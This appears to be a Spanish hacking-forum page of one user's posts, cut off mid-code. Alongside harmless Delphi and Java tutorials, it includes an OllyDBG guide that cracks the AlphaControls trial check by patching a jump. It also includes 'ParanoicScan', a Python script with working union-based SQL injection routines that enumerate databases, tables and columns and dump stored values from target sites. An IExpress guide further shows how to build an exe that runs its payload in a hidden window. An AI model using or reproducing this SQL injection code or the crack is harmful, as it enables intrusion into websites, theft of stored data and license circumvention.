Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - BigBear

#201
Dudas y pedidos generales / Re:Que efecto es este
Marzo 02, 2014, 07:17:18 PM
ok , gracias a los 3 por la ayuda.

kode , una pregunta sobre el Resplandor Exterior , ¿ que color y que opacidad usaste en el ejemplo ?
#202
Hola , estoy queriendo hacer algo asi en photoshop , me refiero solo a letra del logo :



¿ Alguien sabe cual es el efecto de la letra o el nombre de la font ?
#203
Delphi / [Delphi] DH Player 0.5
Febrero 28, 2014, 12:35:12 PM
Un reproductor de musica , en esta version le agregue un buscador usando mp3skull para buscar y descargar canciones , para despues guardarlas en una carpeta llamada "downloads" y escucharlas cuando quieran.

Una imagen :



El codigo :

Código: delphi

// DH Player 0.5
// Coded By Doddy H
// Based on this article : http://delphi.about.com/od/multimedia/l/aa112800a.htm

unit mp3player;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Menus, StdCtrls, sListBox, sSkinManager, MPlayer, sGroupBox, jpeg,
  ExtCtrls, ComCtrls, acProgressBar, Buttons, FileCtrl, sEdit, sPageControl,
  sStatusBar, sButton, PerlRegEx, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, sListView, acPNG, sLabel;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    PopupMenu1: TPopupMenu;
    L1: TMenuItem;
    R1: TMenuItem;
    A1: TMenuItem;
    E1: TMenuItem;
    Timer1: TTimer;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sGroupBox4: TsGroupBox;
    MediaPlayer1: TMediaPlayer;
    sGroupBox2: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox5: TsGroupBox;
    sListBox1: TsListBox;
    sGroupBox1: TsGroupBox;
    sProgressBar1: TsProgressBar;
    sTabSheet2: TsTabSheet;
    sStatusBar1: TsStatusBar;
    sGroupBox3: TsGroupBox;
    sEdit2: TsEdit;
    sListBox2: TsListBox;
    sListBox3: TsListBox;
    sListBox4: TsListBox;
    sButton1: TsButton;
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    sGroupBox6: TsGroupBox;
    sListView1: TsListView;
    sTabSheet3: TsTabSheet;
    sGroupBox7: TsGroupBox;
    MediaPlayer2: TMediaPlayer;
    sGroupBox8: TsGroupBox;
    sListBox5: TsListBox;
    sGroupBox9: TsGroupBox;
    sGroupBox10: TsGroupBox;
    sProgressBar2: TsProgressBar;
    sProgressBar3: TsProgressBar;
    Timer2: TTimer;

    IdHTTP2: TIdHTTP;

    sTabSheet4: TsTabSheet;
    sGroupBox11: TsGroupBox;
    Image2: TImage;
    sLabel1: TsLabel;procedure A1Click(Sender: TObject);
    procedure E1Click(Sender: TObject);
    procedure R1Click(Sender: TObject);
    procedure L1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure sListBox1DblClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sListView1DblClick(Sender: TObject);
    procedure sListBox5DblClick(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure IdHTTP2Work(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCount: Int64);
    procedure IdHTTP2WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCountMax: Int64);
    procedure IdHTTP2WorkEnd(ASender: TObject; AWorkMode: TWorkMode);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
// Functions

function getfilename(archivo: string): string;
var
  test: TStrings;
begin

  test := TStringList.Create;
  test.Delimiter := '/';
  test.DelimitedText := archivo;
  Result := test[test.Count - 1];

  test.Free;

end;

//

procedure TForm1.A1Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.E1Click(Sender: TObject);
begin
  Form1.Close();
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  dir: string;
  search: TSearchRec;
  cantidad: Integer;
begin
  sProgressBar1.Max := 0;
  sProgressBar2.Max := 0;
  sProgressBar3.Max := 0;

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'fm';
  sSkinManager1.Active := True;

  begin

    dir := ExtractFilePath(Application.ExeName) + '/downloads';

    if not(DirectoryExists(dir)) then
    begin
      CreateDir(dir);
    end;

    ChDir(dir);

    sListBox5.Clear;

    cantidad := FindFirst(ExtractFilePath(Application.ExeName)
        + '/downloads/' + '*.mp3', faAnyFile, search);

    while cantidad = 0 do
    begin
      if FileExists(dir + '/' + search.name) then
      begin
        sListBox5.Items.Add(search.name);
      end;
      cantidad := FindNext(search);
    end;
    FindClose(search);
  end;

end;

procedure TForm1.IdHTTP2Work(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCount: Int64);
begin
  sProgressBar2.Position := AWorkCount;
  sStatusBar1.Panels[0].Text := '[+] Downloading ...';
  Form1.sStatusBar1.Update;
end;

procedure TForm1.IdHTTP2WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCountMax: Int64);
begin
  sProgressBar2.Max := AWorkCountMax;
  sStatusBar1.Panels[0].Text := '[+] Starting download ...';
  Form1.sStatusBar1.Update;
end;

procedure TForm1.IdHTTP2WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
var
  dir: string;
  search: TSearchRec;
  cantidad: Integer;
begin
  sProgressBar2.Position := 0;

  sListBox5.Clear;

  dir := ExtractFilePath(Application.ExeName) + '/downloads';

  cantidad := FindFirst(ExtractFilePath(Application.ExeName)
      + '/downloads/' + '*.mp3', faAnyFile, search);

  while cantidad = 0 do
  begin
    if FileExists(dir + '/' + search.name) then
    begin
      sListBox5.Items.Add(search.name);
    end;
    cantidad := FindNext(search);
  end;
  FindClose(search);

end;

procedure TForm1.L1Click(Sender: TObject);
var
  dir: string;
  search: TSearchRec;
  cantidad: Integer;

begin

  SelectDirectory('Select a folder', '', dir);

  sListBox1.Clear;

  sEdit1.Text := dir;
  cantidad := FindFirst(dir + '/' + '*.mp3', faAnyFile, search);

  while cantidad = 0 do
  begin
    if FileExists(dir + '/' + search.name) then
    begin
      sListBox1.Items.Add(search.name);
    end;
    cantidad := FindNext(search);
  end;
  FindClose(search);

end;

procedure TForm1.R1Click(Sender: TObject);
begin
  sEdit1.Text := '';
  sProgressBar1.Max := 0;
  sListBox1.Clear;
end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  cancion: string;
  code: string;
  nombre: string;
  datos: string;
  link: string;
  i: Integer;
begin

  sListBox2.Clear;
  sListBox3.Clear;
  sListBox4.Clear;
  sListView1.Clear;

  cancion := sEdit2.Text;
  cancion := StringReplace(cancion, ' ', '-', [rfReplaceAll, rfIgnoreCase]);

  sStatusBar1.Panels[0].Text := '[+] Searching ... ';
  sStatusBar1.Update;

  code := IdHTTP1.Get('http://mp3skull.com/mp3/' + cancion + '.html');

  PerlRegEx1.Regex := '<div style="font-size:15px;"><b>(.*)<\/b><\/div>';
  PerlRegEx1.Subject := code;

  while PerlRegEx1.MatchAgain do
  // if PerlRegEx1.Match then
  begin
    nombre := PerlRegEx1.SubExpressions[1];
    sListBox2.Items.Add(nombre);
  end;

  PerlRegEx1.Regex := '<!-- info mp3 here -->\s+(.*?)<\/div>';
  PerlRegEx1.Subject := code;

  while PerlRegEx1.MatchAgain do
  // if PerlRegEx1.Match then
  begin
    datos := PerlRegEx1.SubExpressions[1];
    datos := StringReplace(datos, '<br \/>', ' ', [rfReplaceAll, rfIgnoreCase]);
    datos := StringReplace(datos, '<br />', ' ', [rfReplaceAll, rfIgnoreCase]);
    sListBox3.Items.Add(datos);
  end;

  PerlRegEx1.Regex := '<a href=\"(.*)\.mp3\"';
  PerlRegEx1.Subject := code;

  while PerlRegEx1.MatchAgain do
  // if PerlRegEx1.Match then
  begin
    link := PerlRegEx1.SubExpressions[1] + '.mp3';
    sListBox4.Items.Add(link);
  end;

  for i := 0 to sListBox2.Count - 1 do
  begin
    // ShowMessage(IntToStr(i));
    with sListView1.Items.Add do
    begin
      Caption := sListBox2.Items[i];
      SubItems.Add(sListBox3.Items[i]);
    end;
  end;

  sStatusBar1.Panels[0].Text := '[+] Finished ';
  sStatusBar1.Update;

end;

procedure TForm1.sListBox1DblClick(Sender: TObject);
begin

  sProgressBar1.Max := 0;

  MediaPlayer1.Close;
  MediaPlayer1.FileName := sEdit1.Text + '/' + sListBox1.Items.Strings
    [sListBox1.ItemIndex];
  MediaPlayer1.Open;

  sProgressBar1.Max := MediaPlayer1.Length;
end;

procedure TForm1.sListBox5DblClick(Sender: TObject);
begin

  MediaPlayer2.Close;
  MediaPlayer2.FileName := ExtractFilePath(Application.ExeName)
    + '/downloads' + '/' + sListBox5.Items.Strings[sListBox5.ItemIndex];
  MediaPlayer2.Open;

  sProgressBar3.Max := MediaPlayer2.Length;

end;

procedure TForm1.sListView1DblClick(Sender: TObject);
var
  FileName: string;
  nombrefinal: string;
  archivobajado: TFileStream;
  url: string;

begin

  url := sListBox4.Items[sListView1.Selected.Index];

  nombrefinal := getfilename(url);

  archivobajado := TFileStream.Create(ExtractFilePath(Application.ExeName)
      + '/downloads' + '/' + nombrefinal, fmCreate);

  try

    begin
      DeleteFile(nombrefinal);
      IdHTTP2.Get(url, archivobajado);
      sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
      Form1.sStatusBar1.Update;
      archivobajado.Free;
    end;
  except
    sStatusBar1.Panels[0].Text := '[-] Failed download';
    Form1.sStatusBar1.Update;
    archivobajado.Free;
    Abort;
  end;

end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  if sProgressBar1.Max <> 0 then
  begin
    sProgressBar1.Position := MediaPlayer1.Position;
  end;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
  if sProgressBar3.Max <> 0 then
  begin
    sProgressBar3.Position := MediaPlayer2.Position;
  end;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#205
Wargames y retos / Re:Reto XSS(Nivel: Muy facil)
Febrero 27, 2014, 01:52:04 PM
#206
Java / Generar Jar con librerias incluidas
Febrero 26, 2014, 05:56:42 PM
Bueno , hice este videotutorial porque queria tener un solo archivo jar en vez de tener las clasicas dependencias en la carpeta lib , este problema lo resolvi gracias a este You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

El video :

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

El manual en si :

Para empezar tenemos que modificar el archivo build.xml del programa al que quieren hacerle esto , en mi caso voy a buscar en el directorio de mi proyecto llamado "locateip_grafico" que es un programa que hice hace poco , la ruta en mi caso es esta : C:\Documents and Settings\Doddy\Mis documentos\NetBeansProjects\locateip_grafico
Una vez encontrado el archivo build.xml lo abrimos y le agregamos esto despues de las tres primeras lineas de texto , con texto me refiero a despues de los comentarios que estan con "<!--" , el codigo a agregar es este :

Código: text

<target name="-post-jar">
<jar jarfile="dist/finished.jar">
<zipfileset src="${dist.jar}" excludes="META-INF/*" />
<zipfileset src="dist/lib/appframework-1.0.3.jar" excludes="META-INF/*" />
<zipfileset src="dist/lib/swing-worker-1.1.jar" excludes="META-INF/*" />
<manifest>
<attribute name="Main-Class" value="locateip_grafico.Locateip_graficoApp"/>
</manifest>
</jar>
</target>


En la parte de "jar jarfile=" deben agregar el nombre que tendra el archivo unico con extension jar , algo a tener en cuenta es que el nombre que usen debe ser diferente al programa en si porque si no va haber errores.

Las librerias que usan deben estar como en las siguientes lineas :

Código: text

<zipfileset src="dist/lib/appframework-1.0.3.jar" excludes="META-INF/*" />
<zipfileset src="dist/lib/swing-worker-1.1.jar" excludes="META-INF/*" />


Como ven en mi caso uso las librerias "appframework-1.0.3.jar" y "swing-worker-1.1.jar"

Lo ultimo y mas importante es modificar la siguiente linea "<attribute name=Main-Class" con el nombre que tienen como Main-Class , en el proyecto para saber cual es solo tienen que ir las propiedades del proyecto en NetBeans y ver en la parte de "Run".

Una vez modicado el archivo solo tenemos que volver a compilar el proyecto en NetBeans y contemplar el jar solo xD.

Eso seria todo.
#207
Java / Como convertir un jar a exe usando IExpress
Febrero 25, 2014, 06:21:41 PM
Hoy les traigo un video de como convertir un archivo jar a exe usando IExpress.

El video :



El manual en si :

Código: text

-> Execute "iexpress"
-> Create new Self Extraction Directive file
-> Extract files and run an installation command
-> Package title : Your title
-> No prompt
-> Do not display a license
-> Packaged files : Java Files
-> Install Program to Launch -> Install program -> java -jar <file>
-> Show window -> Hidden
-> Finished Message -> No message
-> Package Name and Options -> Enter exe name
    -> Select "Hide File Extracting Progress Animation from User"
-> Configure restart -> No restart
-> Save Self Extraction Directive -> Dont save
-> Finished


#208
Back-end / Re:[Parte 1] Seguridad en PHP
Febrero 24, 2014, 07:24:20 PM
o tambien podes terminarlo y publicar todo completo ...
#209
gracias por la respuesta pero hace rato que hice lo que queria , use el font "prototype".
#210
la verdad nunca lo resolvi , por eso quedo como un cuadrado.
#211
Delphi / [Delphi] PirateBay Manager 0.8
Febrero 14, 2014, 04:52:19 PM
Un simple programa en Delphi para buscar torrents en PirateBay.

Una imagen :



El codigo :

Código: delphi

// PirateBay Manager 0.8
// (C) Doddy Hackman 2014

unit pirate;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, PerlRegEx, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, ComCtrls, sListView, sGroupBox, sListBox, ShellApi,
  sSkinManager, acPNG, ExtCtrls, sStatusBar, sEdit, sButton;

type
  TForm1 = class(TForm)
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    sGroupBox1: TsGroupBox;
    sListView1: TsListView;
    sListBox1: TsListBox;
    sListBox2: TsListBox;
    sListBox3: TsListBox;
    PerlRegEx2: TPerlRegEx;
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sGroupBox2: TsGroupBox;
    sEdit1: TsEdit;
    sStatusBar1: TsStatusBar;
    sButton1: TsButton;
    procedure sListView1DblClick(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'tv-b';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  busqueda: string;
  code: string;
  nombre: string;
  link_torrent: string;
  limpiando_data: string;
  data: string;
  seeders: string;
  leechers: string;
  i: integer;

begin

  sListBox1.Clear;
  sListBox2.Clear;
  sListBox3.Clear;
  sListView1.Clear;

  busqueda := sEdit1.Text;
  busqueda := StringReplace(busqueda, ' ', '%20', [rfReplaceAll, rfIgnoreCase]);

  sStatusBar1.Panels[0].Text := '[+] Searching ...';
  sStatusBar1.Update;

  code := IdHTTP1.Get('http://thepiratebay.se/search/' + busqueda + '/0/99/0');

  sStatusBar1.Panels[0].Text := '[+] Finished';
  sStatusBar1.Update;

  PerlRegEx1.Regex :=
    '(.*?)class="detLink" title="Details for (.*?)">(.*?)<a href="magnet(.*?)" title="Download this torrent using magnet"(.*?)<font class="detDesc">(.*?)<\/font>(.*?)<td align="right">(.*?)<\/td>(.*?)<td align="right">(.*?)<\/td>(.*?)';
  PerlRegEx1.Subject := code;

  while PerlRegEx1.MatchAgain do
  // if PerlRegEx1.Match then
  begin
    nombre := PerlRegEx1.SubExpressions[2];
    link_torrent := 'magnet' + PerlRegEx1.SubExpressions[4];
    limpiando_data := PerlRegEx1.SubExpressions[6];
    seeders := PerlRegEx1.SubExpressions[8];
    leechers := PerlRegEx1.SubExpressions[10];

    PerlRegEx2.Regex := '(.*), ULed by <';
    PerlRegEx2.Subject := limpiando_data;

    if PerlRegEx2.Match then
    begin
      limpiando_data := PerlRegEx2.SubExpressions[1];
      data := StringReplace(limpiando_data, '&nbsp;', '', [rfReplaceAll,
        rfIgnoreCase]);
      data := data + ', Seeders ' + seeders + ', Leechers ' + leechers;

    end;

    sListBox1.Items.Add(nombre);
    sListBox2.Items.Add(data);
    sListBox3.Items.Add(link_torrent);

  end;

  for i := 0 to sListBox1.Count - 1 do
  begin
    // ShowMessage(IntToStr(i));
    with sListView1.Items.Add do
    begin
      Caption := sListBox1.Items[i];
      SubItems.Add(sListBox2.Items[i]);
    end;
  end;
end;

procedure TForm1.sListView1DblClick(Sender: TObject);
begin
  // ShowMessage(sListBox3.Items[sListView1.Selected.Index]);
  ShellExecute(0, nil, PChar(sListBox3.Items[sListView1.Selected.Index]), nil,
    nil, SW_SHOWNORMAL);
end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#212
Delphi / [Delphi] Crackear componente AlphaControls
Febrero 13, 2014, 06:20:26 PM
Hola hice un manual para crackear los programas en delphi en los que usaron el componente alphacontrols , en realidad solo saca la molesta ventana en la que nos dice
"gracias por usar alphacontrol" o algo asi pero es la idea xD.
El programa que uso para esto es OLLYDBG.

El video :



El manual en si :

Código: text

-- == Crackear componente AlphaControls de Delphi == --

- En Español -

1 - Click derecho -> Search for -> All referenced text strings
2 - Click derecho -> Search for text "Trial" y seleccionen solo "Entire scope"
  - Usen Control + L para seguir buscando
3 - Seleccionen y doble click en "Trial version of the AlphaControls"
4 - Seleccionen el "JNZ" que se encuentra arriba de la linea por defecto , hagan doble click para cambiar el "JNZ" por "JMP"
5 - Seleccionen el "JMP SHORT" recien cambiado , hagan doble click y seleccionen "Copy to executable"
6 - Hagan doble click y seleccionen "Save File"
7 - Guarden el ejecutable con el nombre que quieran

- In English -

1 - Right Click -> Search for -> All referenced text strings
2 - Right Click -> Search for text "Trial" and select only "Entire scope"
  - Control + L for next
3 - Select and Double Click in "Trial version of the AlphaControls"
4 - Select "JNZ" and change for "JMP"
5 - Select JMP SHORT , double click and select "Copy to executable"
6 - Double Click and "Save File"
7 - Save the file with any name

-- == The End ? == --


Supongo que eso es todo.
#213
bueno , gracias por la ayuda antrax al parecer sos el unico que me ayudo , mejor lo dejo asi :



decime que te parece ...
#214
es que todavia no lo eh subido en ningun lado , lo abro localmente desde firefox o IE.
#215
si pero cuando  guardas para web lo tenes que hacer en formato gif porque estoy haciendo una animacion y el fondo transparente si lo hice en todas las capas.


#216
Hola tengo un problema cuando quiero guardar un rectangulo redondeado , cuando guardo normalmente se ve bien pero cuando lo guardo para web arruina los bordes del rectangulo volviendose blancos como la imagen :



lo raro es que siempre lo hago como transparente.

¿ como arreglo esto ?
#217
hola queria preguntar si alguien me podria recomendar alguna fuente de dafont para usar como texto de una tablet o computadora en vez de usar la normal.

¿alguien conoce alguna ?
#218
C# - VB.NET / Re:Encriptador MD5
Febrero 07, 2014, 06:56:58 PM
esta bueno el diseño del form.
#219
Python / [Python-Android] ParanoicScan 0.3
Febrero 03, 2014, 10:17:40 AM
Un simple script en python para android , el cual lo uso en mi tablet , el script tiene las siguientes funciones :

  • Scannea en bing buscando SQLI
  • Un completo scanner SQLI
  • Buscador de panel de administracion
  • Codificador de MD5
  • Codificador y Decodificador de Base64 y Hex
  • Localizador de IP y sus DNS
  • Crackeador de para hashes MD5
  • HTTP FingerPrinting

    Unas imagenes :























    El codigo :

    Código: python

    #!usr/bin/python
    # -*- coding: utf-8 -*-
    #################################################################################
    #This software is Copyright (c) 2014 by Doddy Hackman.
    #
    #This is free software, licensed under:
    #
    #  The Artistic License 1.0
    #
    #The Artistic License
    #
    #Preamble
    #
    #The intent of this document is to state the conditions under which a Package
    #may be copied, such that the Copyright Holder maintains some semblance of
    #artistic control over the development of the package, while giving the users of
    #the package the right to use and distribute the Package in a more-or-less
    #customary fashion, plus the right to make reasonable modifications.
    #
    #Definitions:
    #
    #  - "Package" refers to the collection of files distributed by the Copyright
    #    Holder, and derivatives of that collection of files created through
    #    textual modification.
    #  - "Standard Version" refers to such a Package if it has not been modified,
    #    or has been modified in accordance with the wishes of the Copyright
    #    Holder.
    #  - "Copyright Holder" is whoever is named in the copyright or copyrights for
    #    the package.
    #  - "You" is you, if you're thinking about copying or distributing this Package.
    #  - "Reasonable copying fee" is whatever you can justify on the basis of media
    #    cost, duplication charges, time of people involved, and so on. (You will
    #    not be required to justify it to the Copyright Holder, but only to the
    #    computing community at large as a market that must bear the fee.)
    #  - "Freely Available" means that no fee is charged for the item itself, though
    #    there may be fees involved in handling the item. It also means that
    #    recipients of the item may redistribute it under the same conditions they
    #    received it.
    #
    #1. You may make and give away verbatim copies of the source form of the
    #Standard Version of this Package without restriction, provided that you
    #duplicate all of the original copyright notices and associated disclaimers.
    #
    #2. You may apply bug fixes, portability fixes and other modifications derived
    #from the Public Domain or from the Copyright Holder. A Package modified in such
    #a way shall still be considered the Standard Version.
    #
    #3. You may otherwise modify your copy of this Package in any way, provided that
    #you insert a prominent notice in each changed file stating how and when you
    #changed that file, and provided that you do at least ONE of the following:
    #
    #  a) place your modifications in the Public Domain or otherwise make them
    #     Freely Available, such as by posting said modifications to Usenet or an
    #     equivalent medium, or placing the modifications on a major archive site
    #     such as ftp.uu.net, or by allowing the Copyright Holder to include your
    #     modifications in the Standard Version of the Package.
    #
    #  b) use the modified Package only within your corporation or organization.
    #
    #  c) rename any non-standard executables so the names do not conflict with
    #     standard executables, which must also be provided, and provide a separate
    #     manual page for each non-standard executable that clearly documents how it
    #     differs from the Standard Version.
    #
    #  d) make other distribution arrangements with the Copyright Holder.
    #
    #4. You may distribute the programs of this Package in object code or executable
    #form, provided that you do at least ONE of the following:
    #
    #  a) distribute a Standard Version of the executables and library files,
    #     together with instructions (in the manual page or equivalent) on where to
    #     get the Standard Version.
    #
    #  b) accompany the distribution with the machine-readable source of the Package
    #     with your modifications.
    #
    #  c) accompany any non-standard executables with their corresponding Standard
    #     Version executables, giving the non-standard executables non-standard
    #     names, and clearly documenting the differences in manual pages (or
    #     equivalent), together with instructions on where to get the Standard
    #     Version.
    #
    #  d) make other distribution arrangements with the Copyright Holder.
    #
    #5. You may charge a reasonable copying fee for any distribution of this
    #Package.  You may charge any fee you choose for support of this Package. You
    #may not charge a fee for this Package itself. However, you may distribute this
    #Package in aggregate with other (possibly commercial) programs as part of a
    #larger (possibly commercial) software distribution provided that you do not
    #advertise this Package as a product of your own.
    #
    #6. The scripts and library files supplied as input to or produced as output
    #from the programs of this Package do not automatically fall under the copyright
    #of this Package, but belong to whomever generated them, and may be sold
    #commercially, and may be aggregated with this Package.
    #
    #7. C or perl subroutines supplied by you and linked into this Package shall not
    #be considered part of this Package.
    #
    #8. The name of the Copyright Holder may not be used to endorse or promote
    #products derived from this software without specific prior written permission.
    #
    #9. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED
    #WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
    #MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
    #
    #The End
    #
    #################################################################################
    #Paranoic Scan 0.3
    #Android Version
    #(C) Doddy Hackman 2014
    #################################################################################

    import android,urllib2,socket,binascii,re,base64,hashlib

    webvul = ""

    # Functions

    def hexencoder(texto):
    return "[+] Result : "+"0x"+str(binascii.hexlify(texto))

    def hexdecoder(texto):
    text = re.sub("0x","",texto)
    return "[+] Result : "+binascii.unhexlify(text)

    def base64encoder(texto):
    return "[+] Result : "+base64.b64encode(texto)

    def base64decoder(texto):
    return "[+] Result : "+base64.b64decode(texto)

    def md5encoder(texto):
    return "[+] Result : "+hashlib.md5(texto).hexdigest()

    def reem(texto,parte):
    return re.sub(parte,"hackman",texto)

    def regexver(code):
    if (re.findall("K0BRA(.*?)K0BRA",code)):
      return True
    else:
      return False

    def regexdar(code):
    if (re.findall("K0BRA(.*?)K0BRA",code)):
      return re.findall("K0BRA(.*?)K0BRA",code)[0]

    def toma(web) :
    nave = urllib2.Request(web)
    nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
    op = urllib2.build_opener()
    return op.open(nave).read()

    def tomar(web,vars) :
    nave = urllib2.build_opener()
    nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]
    return nave.open(web,vars).read()

    def getdata(web) :
    nave = urllib2.Request(web)
    nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
    op = urllib2.build_opener()
    return op.open(nave).info()

    def bypass(bypass):
    if bypass == "--":
      return("+","--")
    elif bypass == "/*":
      return("/**/","/**/")
    else:
      return("+","--")
     
    def showtables(web):
    pass1,pass2 = bypass("--")
    respuesta = ""
    web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(table_name),0x4b30425241)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))",web)
    code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
    respuesta = respuesta + "[+] Searching tables ...\n\n"
    if (re.findall("K0BRA(.*?)K0BRA",code1)):
      numbers = re.findall("K0BRA(.*?)K0BRA",code1)
      numbers = numbers[0]
      respuesta = respuesta + "[+] Tables Found : "+numbers+"\n\n"
      for counter in range(17,int(numbers)):
       code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
       if (re.findall("K0BRA(.*?)K0BRA",code2)):
        table = re.findall("K0BRA(.*?)K0BRA",code2)
        table = table[0]
        respuesta = respuesta + "[Table Found] : "+table+"\n"
    else:
      respuesta = respuesta + "[-] Not Found\n"
    respuesta = respuesta + "\n[+] Finished"
    return respuesta

    def showcolumns(web,tabla):
    respuesta = ""
    pass1,pass2 = bypass("--")
    tabla2 = tabla
    tabla = "0x"+str(binascii.hexlify(tabla))
    web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(column_name),0x4b30425241)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))",web)
    code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabla+pass2)
    respuesta = respuesta + "[+] Searching columns ...\n\n"
    if (re.findall("K0BRA(.*?)K0BRA",code1)):
      numbers = re.findall("K0BRA(.*?)K0BRA",code1)
      numbers = numbers[0]
      respuesta = respuesta + "[+] Columns Found : "+numbers+"\n"
      for counter in range(0,int(numbers)):
       code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabla+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
       if (re.findall("K0BRA(.*?)K0BRA",code2)):
        column = re.findall("K0BRA(.*?)K0BRA",code2)
        column = column[0]
        respuesta = respuesta + "\n[Column Found in table "+str(tabla2)+"] : "+str(column)
    else:
      respuesta = respuesta + "[-] Not Found"
    respuesta = respuesta + "\n\n[+] Finished"
    return respuesta

    def showdbs(web):
    respuesta = ""
    pass1,pass2 = bypass("--")
    web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,schema_name,0x4b30425241)))",web)
    code1 = toma(web1+pass1+"from"+pass1+"information_schema.schemata"+pass2)
    respuesta = respuesta + "[+] Searching DBS ...\n\n"
    if (re.findall("K0BRA(.*?)K0BRA",code1)):
      numbers = re.findall("K0BRA(.*?)K0BRA",code1)
      numbers = numbers[0]
      respuesta = respuesta + "[+] DBS Found : "+numbers+"\n"
      for counter in range(0,int(numbers)):
       code2 = toma(web2+pass1+"from"+pass1+"information_schema.schemata"+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
       if (re.findall("K0BRA(.*?)K0BRA",code2)):
        db = re.findall("K0BRA(.*?)K0BRA",code2)
        db = db[0]
        respuesta = respuesta + "\n[DB Found] : "+db
    else:
      respuesta = respuesta + "[-] Not Found"
    respuesta = respuesta + "\n\n[+] Finished"
    return respuesta

    def dumper(web,table,col1,col2):
    respuesta = ""
    pass1,pass2 = bypass("--")
    web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,"+col1+",0x4b30425241,0x4B3042524131,"+col2+",0x4B3042524131)))",web)
    code1 = toma(web1+pass1+"from"+pass1+table+pass2)
    respuesta = respuesta + "[+] Searching values ...\n\n"
    if (re.findall("K0BRA(.*?)K0BRA",code1)):
      numbers = re.findall("K0BRA(.*?)K0BRA",code1)
      numbers = numbers[0]
      respuesta = respuesta + "[+] Values Found : "+numbers+"\n"
      for counter in range(0,int(numbers)):
       code2 = toma(web2+pass1+"from"+pass1+table+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
       if (re.findall("K0BRA(.*?)K0BRA",code2)):
        c1 = re.findall("K0BRA(.*?)K0BRA",code2)
        c1 = c1[0]
        c2 = re.findall("K0BRA1(.*?)K0BRA1",code2)
        c2 = c2[0]
        respuesta = respuesta + "\n["+col1+"] : "+c1+"\n"
        respuesta = respuesta + "["+col2+"] : "+c2+"\n"
    else:
      respuesta = respuesta + "[-] Not Found\n"
